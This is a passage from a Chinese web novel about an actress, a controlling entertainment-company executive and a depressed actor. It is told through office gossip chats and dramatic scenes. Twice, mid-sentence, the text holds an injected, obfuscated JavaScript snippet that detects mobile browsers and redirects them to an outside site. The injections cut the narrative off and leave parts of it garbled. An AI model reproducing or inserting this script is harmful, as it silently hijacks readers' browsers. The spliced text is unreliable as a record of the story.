【仔细想想除了盛蹊的粉丝，陆总居然是最尊重盛蹊选择的，她想演什么戏，想做什么，他只是没帮忙罢了，但绝对也没阻止】 【还有退圈那次，宋寅都可伤心了唉，可是陆总那个时候都没回来】 【对啊，他那个时候咋没来，现在反倒……？】 【可能只是不知道？】 【包不会的，你知道我们部门这几天整理了多少关于盛蹊的资料吗，结果送到何助那，何助说：谢谢，但是这些已经有了，已！经！有！了！】 【都能等五年咋可能不知道，感觉是那个时候还是没有迫切到非捧她不可吧】 【感觉像是陆总知道没他不行，只要他不松口，盛蹊妥协是迟早的，你们不都说最尊重盛蹊的就是他了吗？他能看上盛蹊的演技当然也能看中她的不屈服的坚定的性格啊，感觉那个时候像是知道她退圈只是对这个娱乐圈暂时失望了，其实又积攒出了演戏的勇气的时候又会出来的，只是他懒得找而已，而且退圈其实离妥协不远了吧】 【加一，刷到过很多粉丝朋友，都说很多明星骂粉丝，或者赌气说不进组啥的，其实都是希望粉丝关注他，吸引他们注意！盛蹊应该也是这样，不是说她是想吸引流量，而是她退圈还不是真的失望，只是想让自己清醒一点，想考虑清楚而已】 【OMG，这样说宋寅不是给陆总截胡了】 群里安静一瞬，然后刷得飞起： 【好有道理！陆总本来很快就等到盛蹊求饶了的，忽然这个时候宋寅说他什么都不要，就是要给盛蹊一个公道，结果他就恼火了！飞速回国然后抢在宋寅之前把周宇给干掉了！】 【对上了！！而且他那天在办公区，还说，你还不是来了天光娱乐云云，天啊，他早就知道宋寅在这，而且是特地空降来的！】 【猜到了，要在周宇快倒台的时候找一个功劳最大的平台收割成果，去掉三大平台，最划算的就是我们这里，既能要挟宋寅又能见到盛蹊来找他，双赢】 【我敲，好淋漓尽致的资本家风格，好冰冷的利益至上算计】 【对不起，我只觉得这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【我也看到了，周一大概十一点的时候吧，那时候盛蹊还没回宁戏呢，直接包了整个餐厅一整层，在门口看到何助的时候我靠】 【都一起吃饭了。。。】 【插个言，陆总那种工作狂为究极模式的人，居然会跑到那么浪漫的地方和别人吃饭……】 【都说了，盛蹊不是别人】 【怪不得感觉有一段时间陆总心情非常好】 【何助才是很诡异的好吗，公关团队要回去了，他说你们不用走了，公司给你们开高薪吧啦吧啦，然后我问我们工资有涨吗（试探），何助微笑着看了眼我，然后说，说不定呢】 【？？？！！！啊啊啊啊啊要涨工资了？？啊啊啊啊！】 【淡定，淡定，我也只是瞎说的啊啊啊啊】 果然是打工人，一说工资都没人讨论八卦了，一下子全沸腾了，都在追问涨多少，什么时候，终于有内部人士出来回复： 【真的，而且听说陆总要升了】 【升其实也不准确，他好像把公司买了吧，然后并到市中心的总部，没错，你们没听错，总部】 【陆总，我的神！！】 …… 【其实这个消息业内还挺出名的，都在说陆总国外投资赚了钱要来分娱乐圈一杯羹，不过我听朋友说路途娱乐（咱以后公司名）不打算签别的艺人】 【不会吧，只签盛蹊？！（震惊）】 【？？？突然想到某小说情节】 【别小说了，现实里真有一个，大佬女朋友，整个公司就签她一个，出道就是巨星搭档，还把大片演遍了】 【离谱……真成霸总小说里的路人甲了】 【现实里肯定没小说这么夸张，而且不掺杂其他复杂因素，但是陆总这么干肯定是因为赚钱啊，而且他很有钱，真的，你们想象不到的有】 【都能捧女明星了】 【其实我想说我挺为盛蹊可惜的，毕竟不潜规则又给钱给资源】 【不潜规则不太可能吧，图啥】 【我将给所有人听遍这段录音（录音15s），听清了吗？你可以和我结婚，啊啊啊！】 【陆总真恋爱脑了】 【别可惜了，人家抗拒了五年，陆总锲而不舍，现在成立娱乐公司，你们觉得是因为什么】 【OMG，好抓马，本来以为盛宋那边是青梅竹马剧本，结果更强有力的来了】 【没人懂吗，小说写强制/爱我真会尴尬，现实里陆总那种人，我觉得很正常，他一看就是那种不择手段，什么都要得到的人……】 【而且很冷漠】 【而且很执着】 【而且他和盛蹊是差不多一个时间上大学的，也就是说宋寅在念高中的时候，陆其昌差不多已经创业成功，开始自己的创二代之路了，然后同年盛蹊开始去找戏拍，五年之后，陆其昌成精英了，盛蹊还是小演员，他提出要捧她，更小说了有没有！】 【也就是说他们大学认识？别吧，有点狗血了】 【有没有一种可能，陆其昌确实不是因为偶然看到盛蹊的戏才想捧她的，只是因为大学期间他一直暗恋她（），所以……】 【。。。】 【是偶然回到故土的精英人士被一个女演员吸引目光，随意瞥了眼发现还挺合眼缘的，尝试接触被拒之后还耿耿于怀吧！】 【别争了，问过何助了，一开始就不认识她，纯因为看中她的戏而已，何助还说如果陆总那个时候就认识上大学的话，就不会让好心人资助盛蹊上大学】 【对哦！之前看过报道，盛蹊父母双亡，大学是被资助的来着】 【不是资助啦，是助学金，好像说过她以前还挺困难的】 【对啊对啊，陆总要是大学的时候就认识盛蹊，以他资本家的个性，绝对那个时候就包了她所有学费，然后掌控她整个人生，现在耿耿于怀就是因为，她的三观已经形成，他无法掌控一个已经有自己成熟心智的人而已】 【感觉像是一种得不到的永远在执着的心情】 【陆总应该对盛蹊挺感兴趣的吧，明明那么失败，但是不肯放下自己的执着，明明可以退圈，但是因为宋寅和房子的事就可以过来，明明都已经到自己面前了，还是不服软】 【之前听说过有钱人喜欢烧仓房，就是带没钱的女孩子见世面然后又把她们抛弃，让她们无法习惯平庸的生活，但是陆总好像是在重建仓房，让一个本来已经心灰意冷的人，因为这个世界不以她意志为转移的规则，绕着她转一样】 【是的，他是真的想捧她】 【因为知道她可以红啊】 【陆盛挺配的其实（bushi）】 【不是，我拍的这张，陆总攥盛蹊手腕，我怎么看出一种其实他是想劝她，让他保护她的感觉？-？】 【我没救了，连老板的CP我都可以嗑，关键是我真的嗑到不知天地为何物了哈哈哈哈哈哈】 【盛蹊的反应蛮好嗑的，看过很多金丝雀或者强制/爱里的文，女主都过得非常痛苦，情绪压抑，唯独在盛蹊这里，我居然在她和陆总抗争的时候看到一种生命力】 【是的，其实毒蛇也在等菟丝子反扑的感觉（我在说什么）】 【盛蹊很有勇气了，单独来，单独走，关键是陆总什么都没做，我感觉他们之中有一种默契，争吵并不是因为我想压制你，驯服你，仅仅是我们都想为你好，只是谁都无法说服谁而已】 【这样说陆盛还蛮可能he的】 【包he的好吗，陆总单身十三年了，唯一一个这么亲密接触过的女性是想捧没捧到的人，而且他还说，是你说需要我，还是在耍我，啊啊啊啊啊】 【盛蹊在摇摆，陆总疯狂暴怒逼她选自己，嘶哈嘶哈】 【盛宋股暴跌，陆盛股异军突起了】 【邪恶大灰狼和不屈小白兔！！】 【陆总真的为她回国开娱乐公司了，他也真的要捧她，爱一个人都不一定能爱五年】 祝游也啪地一声放下平板，啊啊啊怎么办，她真的要转嗑陆盛了！CP名她都想好了，就叫一陆盛开！！ 30. 第 30 章 陆其昌在办公室里看着可信度倾向从“包女明星”到“替身”再到“淋漓尽致资本家”，轻轻揉了揉太阳穴。在这里维持陆其昌的基本人设还是很累的。 因为他是一个对待下属严厉近乎于严苛的人，所以他像任何自己晚下班也会要求员工晚下班的老板一样，是一个不折不扣的工作狂，以事业为根本追求的高层，所以他不能离开办公室，也不能像宋寅那样动辄让何修不要来打扰他。 一个真正让下属气得骂人的老板，是不分大事小事都要抓在手里，时刻挑刺的。所以这几个小时，盛蹊其实都是双开着耗可信度。 但是因为双开，偶尔还要让宋寅那边配合是很累的，盛蹊那边当然也出现了一点状况——她在陆其昌的可信度倾向那里看到，知道她去见陆其昌的人包括何修，都认为她见完他后精疲力尽是合理的。 陆其昌对于盛蹊的占有欲和掌控欲有点过于恐怖了，所以送盛蹊去机场的时候何修还特地放慢了车速，让她可以好好睡一觉。 回到宁戏也是如此。本来关于周宇的大戏落幕后，一周一演的宁戏应该恢复日常剧目的排练了，结果之前告诉她她有个侄女很喜欢宋寅的大姐看到她，还问她说，是不是这几天没休息好。 进剧院面试时，给她面试最后一轮的秦副院长也和她说：“盛蹊，你是不是太累了，要不要休息一下。” 盛蹊想说还好，但作为演员，在感知别人的情绪方面她是很敏感的，所以当秦院长用那种饱含温和和惋惜的眼神看着她的时候，她几乎是立刻明白秦院长话里说了什么。 她直起身：“院长，是我哪里做得不好吗？” 大姐叫宁素，也看了眼院长，有话想说但是不敢说的感觉。按理说盛蹊才刚回来，按照剧院的理解，盛蹊这是已经休完假了，当然休息完了，可是还没排一出戏呢，这…… 她是受侄女所托来打听宋寅的近况的，侄女也想知道盛蹊请假是不是去看宋寅了，宁素还在这想怎么说出这几句问话呢，没想到就看到秦院长找盛蹊说话了。 秦院长也没有不让其他人知道的意思，只是顿了顿，然后说：“我们宁戏在国戏下边……” 盛蹊眼睫颤了一下。宁素真是惊讶了：“国戏要招演员啊？哎呦，盛蹊这……”不过她很快感觉到不对劲了，国戏那是什么？那可是一级演员二级演员扎堆的地方，连她这么老资历都没有接到过呢，盛蹊才进入宁戏多久。 那如果不是招演员，那就是国戏那边，有人对盛蹊不满了。 秦院长看盛蹊已经明白了，拉着盛蹊走到幕布旁边，对其他人颔首，收拾道具的人就知道不要往这来了，点点头，安静离开。秦院长和盛蹊低声：“你知道王卓吗？” 盛蹊摇了摇头。 秦院长看着她眼睛：“他最近想投资影视娱乐，有个朋友给他介绍了一个从国外回来，刚做影视娱乐的风投老总。” 盛蹊：“……”她完全没想到和马甲有关系，这个消息太过有冲击性，使得她的眼神和表情在接收到后懵了一下，秦院长看她反应，眼神温和了些，更惋惜了：“你知道，咱们宁戏团，正式工是没有编制的，就算我现在给你转正了，你也有可能是要辞职的。” 盛蹊喉咙干涩，她当然知道，如果有有能量的人关注她，造成她的境遇变化是轻而易举的，可这点马甲完全没想到，他也不认识叫王卓的这个人，看来他是想讨好马甲然后多此一举了。 但盛蹊沉默着，说出那句：“我可以找陆总聊聊吗”之后也意识到，她本来也是不可能一直待在宁戏的。选择宁戏只是因为她喜欢演戏，因为宁戏是除开娱乐圈外，宁城最大的可以演戏的地方。 可是，她不是会甘心留在这等一个终身编制的，她可能会需要留在宁戏，得到一级二级演员的荣誉，但那也是在她的演技得到众人承认后。 她必须承认，她一开始就没有想过彻底退圈。退圈只是隔开娱乐圈各种纷争的手段，她从没有说过，她不想演戏了。 但是秦院长还是给她出主意：“有把握吗？如果你确定那位陆总是个好说话的，可以帮你按下去，或者说，他不介意你越过王卓找到他，那你可以去，但是其他的，盛蹊，我必须要劝劝你，演戏是一辈子的事，但是有些路走岔了，就回不到演戏这条路上了。” 她看着盛蹊的眼睫慢慢垂了下去，也就是在这时秦院长才说：“说实话，盛蹊，你的老师一直让我照顾你，但是或许是你之前的戏都没有让我有惊艳的感觉吧，你进剧院之前我还是想磨磨你的，但是你看看你现在在线下演的戏，和之前的有什么不同，你发现了吗？” 她语重心长：“你没有闪躲。我承认你是一个很优秀的线上演员，对镜头的几个机位都有很敏锐的感知能力，但不知道什么时候起，你连表达情绪都要刻意避过一半的镜头，把自己隐藏在背景里，哭戏也是，如果你觉得哭得不好看，就会宁肯低着头。” “你演得不好吗？不是，是你对你自己的戏太不自信了，你的老师在演技派上批评过你，说你这是配角戏的演法。” 秦院长握住盛蹊的手，柔声说：“我很高兴你在线下的宁戏大剧场路终于改过来了，未来我不知道你在镜头前还是不是会下意识把你自己当成配角，但是我要说，每个人都要以我是主角的这颗心，演一出戏，这心态没错。错的是别人，不是你。” 盛蹊的眼睫湿了。她没有想到会在只相处几个星期的秦院长这里听到这句话，她哽咽地点头。 秦院长说：“被人看中，是好事，我也这么大年纪了，不会说什么，人应该还是要有底线，要做无悔的选择这样的话，我就一句，别忘了你站上舞台是为了什么。” 她是为了演戏来的。不是因为任何别的东西。 盛蹊重重点头。 本来她因为要进组老师的戏，也预备向秦院长请假了，秦院长这么一说，她反而轻松了，只是还不等她向秦院长递交正式的辞职申请，秦院长那边忽然又说，王卓那边给她赔礼道歉，说是他搞错了。 盛蹊知道，因为她已经从马甲那搞清楚了。 陆其昌在那边大发雷霆，王卓的饭局他本来就不打算去，他要收购其他影视公司的某些部门的事也已经全部敲定了，那天知道之后，他去了，但是全程没有说任何一个字，之前的约定全部作废。 王卓给他倒酒，他只是似笑非笑地看着他。 王卓是特级演员了，在圈子里也颇有人脉，一直被人捧着，见状也有点恼了，可后来不知道谁劝了句什么，王卓突然诚惶诚恐，话也不说了，也不提入股了，陆其昌坐在那饭桌上，愣是一口酒也没喝，就这样冷冰冰地看着他们自己把自己灌醉了。 等结束他才起身傲然说：“我最讨厌别人插手，管我的事。”有谁醉了，抬头，看口型大约是想说，只是一个小演员而已，怎么就陆总的事了，但是何修眼疾手快地拦下了他。 而陆其昌看着他，冷笑着说：“都知道我要签她，还敢管我的人，路途娱乐是我办的，还是给你们办的？！”说到这又暴怒，要不是还有人清醒着，他差点没掀桌，后来是摔门离开的。 圈子里知道这件事都传疯了，都知道陆其昌脾气不好，没想到帮他让盛蹊早早从宁戏离职都犯了忌讳。而且陆其昌的人脉早年是在国外的，国内还不知道他秉性作风呢。 王卓这么一招，可以说是急着上船，也可以说是打探口风，但是陆其昌这么嚣张霸道的行事风格很快就把娱乐圈的大小龙头都给惊动了。 【他们不是觉得你太嚣张了，而是觉得以后不要惹你比较好。】系统有点纳闷：【我还以为达到这个效果需要很高的可信度呢。】 毕竟娱乐圈是个惯捧高踩低的地儿，天光娱乐的人敬着陆其昌，正常，毕竟和他们一个几千万注资的小娱乐公司相比，陆其昌算是能量很大了。 但是整个娱乐圈……那可不是说几千万几个亿就能概括的，那可是黄金窟啊，看很多资本家的丑孩子都要来就知道有多赚钱了。 可是分明还没人“知道”陆其昌以前的风格，和能量。 陆其昌：“这种事，就是越模糊越好，你的体面，礼貌，在他们看来会是胆小，怯懦，而你告诉他你的具体资产，也像是在虚张声势。”他冷笑一声。 而且怎么说呢，因为娱乐圈很多人很多产业是见不得光的，所以他们隐藏在黑暗里，自己当然也会觉得敢这么嚣张的人，产业也大部分在他们看不到的地方里，当然不敢触霉头了。 陆其昌轻声：“他们只是不敢欺硬而已。” 包括他现在想起来本体的事，公司不给她老师给她的面试机会，宣传剧的时候剧组不给她的角色正面镜头，参加晚会都把她和周宇拉在一起，是整个娱乐圈都不待见她吗？不，只是她是这个软柿子。 系统感知到他的想法，老实说：【现在宿主可以代替本体作为这个硬柿子，让他们不敢欺负了。】 陆其昌情绪冷漠：“还不够。” 系统：【？】 陆其昌说的不是这些事做得不够，主要是可信度不够，如果她要进老师的组，本体有大量时间必须得观摩学习，而宋寅的《若星辰》也开拍了，他虽然可以借着组建公司飞往国外去，但是在国外依然要现身。 陆其昌起身。忽然想到：“《绣年》这部剧的推广买了没有。” 他这话是问何修，何修已经习惯了陆总把他叫进来却不说话，闻言立刻道：“买了。”说起来这事儿也是搞笑。杨树本来就是一个很有名气，影响力不低的知名导演，《绣年》这部戏又上了主流平台，按理说宣传已经铺天盖地了。 但是天光入场之后，业内才见识到什么叫做真正的铺天盖地：你们见过地铁站、商场入口，还有城市随处可见的大小角落，都在播放这部剧的吗？ 本来陆其昌没想下场做这么大，但是业内看到天光投注之后纷纷跟投，很多合作是宣传方主动找到剧组提出来的，剧组想了想，觉得他们也是一个主旋律的剧，其实可以多说说，然后就答应了。 然后就导致这部剧的推广到处都是了，观众本来很反感这种蝗虫式营销的，看到剧里的老戏骨，看到剧的背景，欸，可以去看看。 然后这部剧就在半个月的宣传期下，迅速登顶主流平台年冠，收视率全网第一，同时段播放增长达到百分之三百！ 当然了，因为宋寅只是其中一个配角，骂营销的声音也没有骂到他头上，他的戏反倒因此被更多人认识了，播到程兰这个片段，一个蓝V主持了热搜#程兰说没有戏他就疯了#这个话题的时候说： 【那个时代的沉痛回响，就这么寄托在几句翻覆唱来的戏腔里……宋寅@宋寅以他沉朴的、深刻的演技在诉说，一个人若是一辈子找不到一件自己喜欢的事，就像被白蚁蛀空的门扉一样，活着的时候不一定倒了，死了之后，也一定是一点都不剩了。】 官方的评价下全都是粉丝在哭坟的： 【呜呜呜呜呜呜呜程兰你怎么就这么死了哇（大哭）】 【看到他终于可以畅畅快快演一场戏的时候还在为他的哽咽、激动带泪的眼神动容，以为一切腐朽的都过去了，程兰这样的旧社会的普通人也可以重获新生了，没想到演完这场最后的独角戏之后就病死了（大哭）编剧你好狠的心】 【看到最后一幕，程兰风雪病死，憔悴苍白的脸上还带着笑意的时候，真的感觉到了一种黛玉似的，被一个时代一个社会压迫到心死，但依然不肯放弃本性的高洁的那种感觉，人真的好难啊，会为那么多东西多阻碍，但是也好幸福，呜呜呜呜，可以为热爱奉献一生】 【这个镜头看了不下八百遍，每次看都哭，@宋寅真的太会演了！】 【感觉他都有点出不了戏了】 【其实程兰也算是以献祭为灵魂演出一场场戏的代表人物了，剧里的灵魂人物赵秀等等之类，都是把生命和奉献写在牺牲的血泪里，但程兰的热爱，信仰不同，千千万万个革命前辈的牺牲，就是为了程兰这样的人，能无畏地走在自己热爱的路上】 【说得太好了，程兰的命是戏，革命先辈的命是民族的复兴，都是为自己的信仰燃尽一生的人呜呜呜呜呜】 【复兴路上我们都是同胞，我们都是火炬，照亮后面的人来的路，啊啊啊啊我哭死啊啊啊啊】 …… 本来这种主旋律剧，最怕拍不出革命的惊心动魄，旧社会的沉疴痼疾，和那种旧社会的人本就愚昧，但其实是被陈旧思想腐化，被他们驯化的一批可怜的人这种感觉，但是程兰的这个单元真的让他们看到了： 程兰是固执的，是顽固的，是骄傲的，他不想搞坏自己的嗓子，所以拿到西药坚决不吃，他不想因为革命军毁掉自己的戏，所以大半夜的时候坚决不开门，可他更不想整个镇子的人都死光，他的戏无人可看，所以所有的人都害怕侵略者会大肆屠戮，在那天躲在戏院里的时候，只有他眼睛莫名明亮地，大大方方走出去，和别人说他要吊嗓子。 侵略者暴喝，他更加急迫，高声：“我要唱戏，就是要唱！” 就是在这个时候，革命军悄悄潜入，最后把镇子里的侵略者赶了出去。他有安心的地方可以唱戏的时候，因为侵略者的凌辱，和被压迫这段时间上精神意志上的摧残，他却又垮了。 侵略者让他给他们唱选段，却大肆玩笑听不懂京剧的精髓，侵略者让他给他们倒茶，却是牛嚼牡丹，侵略者还让他教几个感兴趣的军官唱戏，但实际上，他们随手就把剧院不合他们意的杂役给刺死，然后说，你们要唱就要唱和我们一起欢欣的戏。 可笑吗？他们民族的底蕴沉淀这么多年，竟然比不上一个强盗土匪打进来后那句，我们是来帮你们的！ 程兰宁死不屈，所以他被派去大雪天打水，军官让他喝开水再接着唱，他唱的时候，他们在开枪杀人…… 程兰的性子多傲啊，被侵略者烧戏服的时候都跪下来了，哭得声嘶力竭，他没有喊，没有求，因为他知道，他们不死，他是不会有机会再唱戏的！ 所以他被他们折磨成那样，日常都开始疯疯癫癫自言自语，走到哪都开始吊嗓子了，那天要放革命军进来，他还是恢复成正常人模样，和他们大声喊：“我要唱戏！” 我就是要唱！ 程兰的疯魔把侵略者给镇住了，他以往对戏的痴迷也让侵略者对他的怀疑打消了，他们咕咕哝哝地摆手让他出去，程兰走在雪地里，脚步轻快。 有个影评人说：【我去问了树导这里的戏，他说这里剧本就写了一句词：这是程兰唱得最好的一次。我很高兴，我看到这里演出来了。】 评论也在说：【这里我哭死了QAQ，他觉得自己的戏有人可看了，不会死光了连个看戏的都没有了，所以穿着单薄的长褂，在冰天雪地里唱这个选段，真的是我看过他最好的一场表演（泪流满面）】 【宋寅这个演员的肢体控制力真的绝了，在这么惊心动魄的气氛里，居然还能演出手指被冻僵硬，但是依然完美地做出每个手势每个动作那种轻盈的感觉，感觉像是回光返照了】 【是的，看解说说程兰自由后演完最后一场戏，含笑而终不是因为他觉得那场戏他演得最好，是因为他觉得自己还有机会可以演戏，已经满足了】 【天啊，突然代入我们小苦瓜了QvQ】 【其实程兰真的是一个很典型的普通人，只是为了艺术处理放大了他身上的这种偏执疯魔，战乱时代很多人也是和他一样，想想只要不影响到我（唱戏），那我管他们怎样都可以，完全不知道其实民族的灾难是压倒似的，没有人能逃过】 【看到程兰在唱戏，战火纷飞下满目疮痍的土地，和战争过后幸存的人们，没有老少，只有神情疲惫迷茫的青年，和依然坚定的革命军，眼泪都下来了。程兰们的时代在痛苦折磨中结束了，抗争却仍旧在继续】 【宋寅程兰是绣年这个篇章的精华，当之无愧的戏眼@宋寅】 【周宇你看到了吗，真正的演员应该这样演】 李珂看到这些评论，并没有感到高兴，因为她终于发现宋老师在饰演完程兰后的不对劲是什么了：他的躯体化症状加重了！ 本来她以为宋老师有的时候开口就不说话，面对其他人下意识侧过头，总是一个人坐着，加上发呆，是因为精神恍惚或者是盛老师那别的事。 现在她发现，宋老师居然偶尔会忘词！这在以往的宋寅身上绝对是不可能发生的。但她看宋寅弯腰，想道歉都说不出来一个字，立刻就上前帮忙道歉了，然后着急地找心理医生来。 医生才说他是有点解离了，而且躯体化程度没有减轻，在慢慢加深。解离，简单来说就是觉得自己和世界不是一体，出现某事的时候常常觉得自己置身事外，会用一种其他的视角看待自己。 李珂以为他只是情绪低落，没想到都这么严重了。 “那应该怎么办？” 医生想到他的职业，摇了摇头：“演戏对情绪消耗是很大的，而且会加重这种解离，先休息吧，能不受刺激最好不要让他受，也避免过于激烈的情绪波动。”现在的宋寅可能受不了。 “可是宋老师很喜欢演戏……”李珂不是随口说，她是真的看得出来。 医生想了想：“那就适当吧，最好是选那种情绪波动没那么大的角色，也不要太累了。”躯体化本来就是情绪出问题了，累了更没有心思照顾身体了。做自己喜欢的事可能会好一点。 可就当李珂要重提让盛老师过来这个话的时候，公司的通知到了，与之一同前来的，还有公司的新副总，那个她听说过很多次，但是总觉得公司同事有事在瞒着她的陆其昌。 “让宋老师进封闭剧组？”李珂还不知道宋寅和陆其昌已经见面了，看到何修和配合工作的梁叙，脸都气红了：“为什么！” 本来以前她还怕，现在她不怕了，宋寅都抑郁加重了，她还怕什么：“你们这是违约！” 梁叙看她一眼：“演员必须无条件服从公司决定。合同里的。” “可……” 不等李珂说话，那位排场很大的陆总已经从休息室里出来，他身高很高，眼神里总是带着点冰冷的睥睨，李珂还是很怕他的。虽然心里总有点不服。 加上他眼睛是那种很显阅历和严苛的欧式双眼皮的又宽又长的眼型，鼻梁又足够高耸，硬朗刻板的五官，某些角度会显得很阴沉的眼神，简直是国产剧想请但最近几年根本请不到的大反派长相。 东亚人面相本来平整度很高的，但是这位陆总不知道为什么总是给她一种，五官即使不够立体也足够威严的感觉。 久居上位浸淫权力而形成的傲慢，和说一不二的气势，让他看起来更不可能被下面违背了。 宋寅居然就跟在他后面。 陆其昌回头：“你知道该怎么选。” 然后他拿上何修那的外套，径直离开，李珂不敢和他们理论，担心地看向宋寅。 宋寅对她安慰地弯唇。 李珂鼻子酸了：“他们怎么能这样！” 封闭剧组，三个月培训，都没有戏拍！而且这还不是为了宋寅的身体考虑，纯粹是为了冷待而已！那新出的《绣年》再火，和之前又有什么区别，他早就被其他人忘了！ 没想到宋寅说：“就这样吧。” 他选在这里，就是因为这是《若星辰》的剧组，工作人员较多，风声也杂，他在这里大摇大摆把事闹出去，可信度传播得也较快。 而且。 宋寅轻声：“如果不是我，她怎么会再次被他发现呢。” 他知道组里已经有人知道本体和陆其昌的事，虽然她以前并不想借绯闻确认自己和马甲在娱乐圈的影响力，但是现在是特殊情况，她必须要足够的可信度，才能在老师的剧组里的同时，让马甲立足下去。 所以他只能扩大传闻了。 宋寅弯起嘴唇很苦涩地笑，他最近躯体化的症状更加严重，就是因为他的状态，比之前看起来更像是被情绪所困的一个人了，这点也帮他增加了不少可信度。 毕竟他抑郁的谣言传出去，很多人以为是装的。现在看他，已经能被他那种沉默的感觉所感染了。 ——他说：“她应该会更讨厌我了吧。” 李珂着急说：“怎么，怎么会呢！盛老师肯定知道罪魁祸首在他们身上的，要怪也应该怪他们！”只是她还没反应过来，这事儿和盛老师有什么关系…… 宋寅好像很累了，顺手扶住椅子，喃喃自语：“无所谓了。” “程兰能被她看到，怎么样，也无所谓的。” 盛蹊，你看到了吗。他们都知道你喜欢演戏。但是能让你把喜欢的角色演出来的，被所有人看到的，只有你自己可以。 李珂看着他的背影，鼻子发酸，怎么样也无法相信，公司居然这样对待一个有演技有实力有颜值的人，去找程梦骂天光娱乐的人，程梦说： 【天光娱乐的副总去你们那了？】 【嗯，还逼宋老师进组培训了！凭什么啊！！】 【他说什么了？】 【没什么，我在外面没听到，只看到要走的时候他说你知道该怎么选之类的，他凭什么啊！！】 【……】程梦的手指放在键盘上半天打不了字出来。她已经知道了，毕竟天光的朋友不敢说出来，圈内八卦多的是，而且她还知道，宋老师肯定是知道这回事的。 因为李珂说宋寅说了，是我让他再次发现了她之类的。 程梦闭了闭眼。 【你别管了】 【你知道一个副总有多大能量吗？而且这个姓陆的我还问了殷导了，她们都说别惹他，这个人脾气很不好，而且，他很久以前就在找盛老师】 【？？？？？？】李珂发来的一串问号表明了她的震惊。 程梦想编辑事情经过，又觉得轻描淡写的文字无法概括他们这些年，只能说： 【盛老师应该也是知道的】 可是放下手机，她却感觉到突如其来的一种无力感。她也知道吗？ 那盛蹊，她和他绝交这么多年，到底是因为真的不肯原谅他，还是因为和直播时说退圈是一样的，其实我知道我从来没有怪过你，可是我好像就是一个经常倒霉的人，我不想你和我一样，被陆其昌关注。 不想你看见盛蹊，只会想起，你曾被我连累。 她一个人孤独执着地走这条路，没有料到，陆其昌没有放过他，宋寅也从来没有把她撇开。 他们都在娱乐圈，在这个十字路口重逢。 房子是盛老师不可动摇的底线，她不会允许自己的演戏生涯，那十年的所有回忆，和现在自己的绯闻一样，和周宇绑在一起。 所以宋寅知道公司要把她的房子卖给周宇后，才起诉控告，可是盛蹊知道幕后的操作者不在周宇，而在陆其昌。是陆其昌用房子逼她回来。所以她才去了。 “……”程梦感觉自己要窒息了。她不知道宋寅到底知不知道盛老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292547|179557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个想法，他知不知道，不是他让陆其昌再次发现他，是盛老师不想他被她连累，才去找陆其昌的？ 宋寅不知道她为什么选择陆其昌，但是他知道她还是喜欢演戏的，他知道他能演出，她很像，很喜欢的那个程兰角色，那就够了。 她不知道事情具体是怎么样，但是宋寅盛蹊，真的应了那句，当年的事彼此各有难处。 她不知道他父母去世抑郁，他不知道她一直受着陆其昌的威胁。 因为陆其昌的掌控和居高临下是那么隐蔽，他甚至不会发觉，陆其昌每次都口口声声给他们选择，盛蹊也是，现在的宋寅也是，可实际他们根本都毫无选择。 他还会以为，她只是太想演戏，被欺负得太狠了，才会回应彬彬有礼地等在那的陆其昌的，而陆其昌虽然傲慢，却也真的会帮助她。 她不会知道，她也是逼于无奈的，她走向的，也是一个魔鬼。 “……”程梦的呼吸变急促了，她感觉自己要把手机捏碎了。殷玉莲路过看了一眼，沉默一下。 至少他还是让她演戏的。这种行为在行业里，算不得什么秘密了。有些人喜欢收藏花瓶，有些人喜欢强抢花瓶然后打碎，有些人更过分，既不会正常对待一个花瓶，它碎了还要说是它太脆弱导致的。 但陆其昌，至少是还想让花瓶完完整整摆在那的。 她们觉得花瓶要摆在聚光灯下，橱窗里被别人欣赏太简单了，殊不知，一个瓶子最难做的就是磕磕绊绊的同时，还不被别人打碎。 是错觉吗？殷玉莲总觉得，其实陆其昌选择盛蹊，也是因为，她的一部分特质和他是很像的。他真的在找这个有独特纹路的花瓶，在看着她越来越洗尽铅华，像盛蹊自己。 也像他。 何修问陆其昌去哪。陆其昌的情绪似乎很好，靠在椅背上按按眼睛，语气里没有起伏：“去机场，接盛蹊。” “……”何修呼吸一顿。这时他也想问出和程梦一样的话，就是，您真的不是个魔鬼吗？才逼完人家，转头就去把盛蹊接过来，他要干什么？但何修不敢这么说，只默默开车。 陆其昌说：“我睡一会儿，待会儿她说去哪，你开去就是了。”他说得毫不在意，其实只是为了掩盖，他要节省可信度的基本动机而已。 但何修没明白，他沉默地，一直等到盛蹊上车，等到看到她发现陆其昌闭目休息着，也毫不意外，仿佛她这样上过他的车很多次似的，他轻声问去哪，她抬起头。 陆其昌高大的身躯几乎占据了她身边所有的空间，他的骨节分明的巨大手掌就在放在她位置上，她也没有挪开。他们之间早就超过了社交默认的一般安全距离。 何修发现不对劲在哪：她进入他的私人空间，居然一点也不感觉恐惧，和压抑。一般人都会觉得陆总恐怖。 但盛蹊只是说：“去似水流年剧组。” 何修看着她，补了一句：“您确定吗？” 累了还把人接来，结果直接送去进组的剧组了，他怕陆总醒来会大发雷霆。但盛蹊说，我和他说过了。 怎么可能，何修心想，说过了他还说不管去哪。但是陆总这个话的意思又是大概知道，她不会真的为了讨好他，就留在他这儿的意思，所以何修还是沉默。 高架上车辆很多，陆其昌醒了一时半刻，声音低沉，沙哑，竟然还有些难得听见的磁性：“这是你想要的吗？” 盛蹊回想。宁戏待不了多久了，《若星辰》拍完宋寅要与世隔绝一段时间，她还是回了娱乐圈，只不过是以学习的方式，所有人都以为，她会成为陆其昌羽翼下的人。 “没什么不好的。”盛蹊轻声。 